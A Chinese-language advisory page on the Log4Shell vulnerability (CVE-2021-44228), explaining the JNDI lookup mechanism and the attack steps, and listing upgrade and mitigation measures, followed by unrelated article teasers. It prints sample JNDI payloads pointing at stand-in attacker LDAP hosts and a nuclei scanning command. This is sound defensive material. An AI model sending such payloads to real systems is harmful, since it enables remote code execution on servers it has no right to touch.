news 2026/9/3 6:27:16

CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

CVSS评分:10.0(满分)

CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

  • 1. 漏洞原理
  • 2. 漏洞危害
  • 3. 漏洞修复
    • 升级版本修复
    • 缓释方案

1. 漏洞原理

Apache Log4j2 作为广泛使用的 Java 日志库,支持一种叫做Lookup(查找替换)的机制,用于在日志消息中动态注入变量或外部内容。

例如:

${jndi:ldap://malicious-server/exploit}

这是一个 JNDI Lookup 表达式,它让 Log4j 去调用 Java Naming and Directory Interface(JNDI) 去解析某个 URL。

然而,在受到漏洞影响的 Log4j 版本中,JNDI 查找可以从 LDAP、RMI、DNS 等远程服务器获取并执行代码。攻击 step:

  1. 攻击者构造 payload:例如 HTTP User‑Agent 或其他可被日志记录的字段包含${jndi:ldap://attacker.com/malicious}
  2. 目标应用接收请求
  3. Log4j 记录日志消息,发现字符串中的 JNDI Lookup
  4. JNDI 启动并向攻击者控制的服务器发起 LDAP(其他协议也可以)请求
  5. 攻击者服务器返回一个恶意 Java 类
  6. 恶意类被执行,导致任意代码执行(RCE)

检测方法(需要机器有出网的权限):

nuclei -u http://xxx.xxx.xxx/ -t nuclei-templates/http/cves/2021/CVE-2021-44228.yaml

2. 漏洞危害

微步标记,极度高危,应立刻修复:

3. 漏洞修复

升级版本修复

官方已发布修复版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

升级 Log4j 到修补版本:

  • 升级到 Log4j 2.16.0 或更高(2.15.0可能不稳定)
  • 更高版本(如 2.17.x)已彻底禁用了可能的远程 JNDI Lookup。

缓释方案

1、设置 JVM 系统变量或环境变量:

-Dlog4j2.formatMsgNoLookups=true

或者:

exportLOG4J_FORMAT_MSG_NO_LOOKUPS=true

这将阻止 Log4j 解析 Lookup 表达式,从而降低攻击面。

2、移除 JndiLookup 类

在无法升级时,可以手动从 JAR 包中移除 JNDI 代码:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

这能阻止 JNDI Lookup 类被加载。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/2 12:37:49

告别抽卡式AI视频,这个开源项目让剧本一键变成片!

你有没有试过:熬夜写完3000字剧本,想用AI生成视频,结果男主角每帧换一张脸,前一秒在咖啡厅、下一秒跳到火星,连戏?不存在的。反复抽卡100次,只能含泪发朋友圈:"AI虽好&#xff…

作者头像 李华
网站建设 2026/9/3 1:30:26

基于SSM框架的生鲜食品商城系统(源码+lw+部署文档+讲解等)

课题介绍 本课题旨在设计并实现一套基于SSM(SpringSpringMVCMyBatis)的生鲜食品商城系统,解决当前生鲜交易中货源管控不严、配送时效低、生鲜保鲜追溯不便、线上交易流程繁琐等问题,适配生鲜商家线上运营与消费者便捷采购的核心需…

作者头像 李华
网站建设 2026/9/2 10:22:02

基于深度学习YOLOv10的船舶类型识别检测系统(YOLOv10+YOLO数据集+UI界面+模型)

一、项目介绍 项目背景: 船舶识别与检测在海洋交通管理、港口监控、渔业管理、海上救援等领域具有重要意义。传统的船舶识别方法依赖于雷达或人工观察,效率较低且容易受到环境干扰。基于深度学习的目标检测技术能够自动识别船舶类型,并在复杂海况下提供…

作者头像 李华
网站建设 2026/9/2 23:50:54

Java工程师如何转大模型开发

你的情况非常典型:有扎实的 Java Spring 生态工程经验,想切入大模型赛道提升竞争力。好消息是——你不需要从零开始,也不必成为算法专家,而是走一条 “Java 工程师 → 大模型应用工程师” 的高效转型路径。下面结合你的背景&…

作者头像 李华
网站建设 2026/9/3 3:12:57

基于Springboot+Vue的物流管理平台系统源码文档部署文档代码讲解等

课题介绍本课题旨在设计并实现一套基于SpringBootVue的物流管理平台系统,解决当前物流行业中订单管理混乱、货物追踪不便、仓储与运输协同低效、数据统计滞后等问题,适配物流企业规模化运营与信息化管理的核心需求。系统采用前后端分离架构,后…

作者头像 李华
网站建设 2026/9/3 1:00:42

最长连续序列

解决方案:1.先用set去重(遍历数组加到set集合)2.遍历set,拿到随机set里面的一个数,然后先看有没有比他小的,如果没有他小的,就开始进行循环1操作,然后把原来值1,然后累计…

作者头像 李华